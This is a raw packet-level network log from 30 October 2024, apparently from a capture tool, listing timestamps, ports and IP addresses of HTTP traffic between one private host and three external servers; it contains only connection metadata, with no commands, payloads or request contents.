Oct 30, 2024 00:20:19.997622013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997627020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997648954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997653008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997663975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997667074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997679949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997701883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997713089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997719049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997733116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997742891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997750044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997765064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997771025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997778893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997796059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997798920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997811079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997826099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997838974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997844934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997860909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997869968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997875929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997890949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997895956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997906923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997919083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997922897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997936964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997951984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997963905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.997966051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.997987986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.998132944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998203993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998219013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998239040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.998265982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.998291969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998306990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998322010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998337030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998347044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.998352051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998366117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998382092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.998394012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.998420000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:20.019701004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:20.020421982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:20.237382889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:04.797152042 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:04.804539919 CET	80	59753	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:04.804691076 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:04.804960966 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:04.811981916 CET	80	59753	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:05.736449003 CET	80	59753	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:05.736548901 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.263336897 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.263678074 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.269470930 CET	80	59753	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:07.269484997 CET	80	59765	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:07.269532919 CET	59753	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.269596100 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.269690037 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:07.276096106 CET	80	59765	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:08.187107086 CET	80	59765	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:08.187191963 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:08.190867901 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:08.196265936 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:08.196386099 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:08.196528912 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:08.201855898 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074585915 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074619055 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074630022 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074641943 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074655056 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074667931 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074703932 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074718952 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074723959 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.074731112 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074744940 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.074867964 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.081605911 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.081623077 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.081634998 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.081703901 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.214055061 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214073896 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214087009 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214099884 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214112997 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214150906 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.214212894 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.214385033 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214560032 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:09.214610100 CET	80	59771	31.41.244.11	192.168.2.5
Oct 30, 2024 00:21:09.214696884 CET	59771	80	192.168.2.5	31.41.244.11
Oct 30, 2024 00:21:11.372816086 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:11.373145103 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:11.380265951 CET	80	59765	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:11.380342960 CET	59765	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:11.380476952 CET	80	59786	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:11.380558014 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:11.380775928 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:11.387414932 CET	80	59786	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:12.300863028 CET	80	59786	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:12.300964117 CET	59786	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:12.304615974 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:12.311575890 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:12.311655998 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:12.311853886 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:12.319034100 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848638058 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848650932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848660946 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848666906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848671913 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848678112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848685980 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848705053 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848716974 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848726034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848737001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.848826885 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.848828077 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.851787090 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.851876974 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.857122898 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.857136011 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.857146025 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.857220888 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.857258081 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.858930111 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.858941078 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.858949900 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.858961105 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.858999968 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.859031916 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.859958887 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.859970093 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.859977961 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.859987974 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.859998941 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.860025883 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.860059977 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.861212969 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.861227989 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.861238003 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.861248970 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.861314058 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.861314058 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.865500927 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.865575075 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.865746975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.865787029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.865802050 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.865837097 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.867923975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.867934942 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.867944956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.867955923 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.867976904 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.868029118 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.868029118 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.868509054 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.868520975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.868561983 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.868562937 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.870007992 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870019913 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870031118 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870079041 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.870116949 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.870762110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870774031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870784998 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870796919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.870816946 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.870856047 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.870856047 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.874150991 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.874178886 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.874207973 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.874242067 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.874712944 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.874725103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.874735117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.874762058 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.874789953 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.876413107 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.876480103 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.877043962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877055883 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877063990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877075911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877085924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877098083 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.877099991 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877125025 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.877149105 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.877618074 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877628088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.877705097 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.878597975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.878611088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.878622055 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.878654003 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.878679991 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879193068 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879204035 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879213095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879221916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879230976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879241943 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879246950 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879277945 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879295111 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879724979 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879734993 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879744053 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879754066 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879764080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.879772902 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879797935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.879823923 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.880665064 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.880676031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.880686045 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.880696058 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.880712986 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.880740881 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.880765915 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.881154060 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881165028 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881175041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881187916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881230116 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.881230116 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.881299973 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881311893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881320953 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881333113 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881344080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.881346941 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.881381989 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.881382942 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882453918 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882466078 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882481098 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882491112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882500887 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882502079 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882513046 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882529974 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882529974 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882564068 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882921934 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882932901 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882941961 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.882972002 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882994890 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.882997990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883009911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883021116 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883043051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.883069038 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.883822918 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883833885 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883843899 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883858919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883867979 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.883872032 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883886099 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.883891106 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.883920908 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.883945942 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.884682894 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884736061 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.884793043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884804010 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884815931 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884828091 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884835958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.884840012 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.884867907 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.884867907 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.884900093 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.885541916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885608912 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.885657072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885668039 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885679007 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885689020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885699987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885706902 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.885704041 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.885732889 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.885751009 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.886569977 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.886617899 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.886734009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.886749029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.886780024 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.886812925 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.887363911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.887377024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.887387991 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.887417078 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.887450933 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.888273954 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.888323069 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.888459921 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.888509989 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.888845921 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.888859034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.888870001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.888905048 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.888906002 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.889694929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.889708996 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.889719963 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.889749050 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.889780045 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.890732050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.890743017 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.890752077 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.890763998 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.890793085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.890820980 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:13.891601086 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.891613007 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.891623020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.891633987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.891644955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:13.891655922 CET	59787	80	192.168.2.5	185.215.113.16
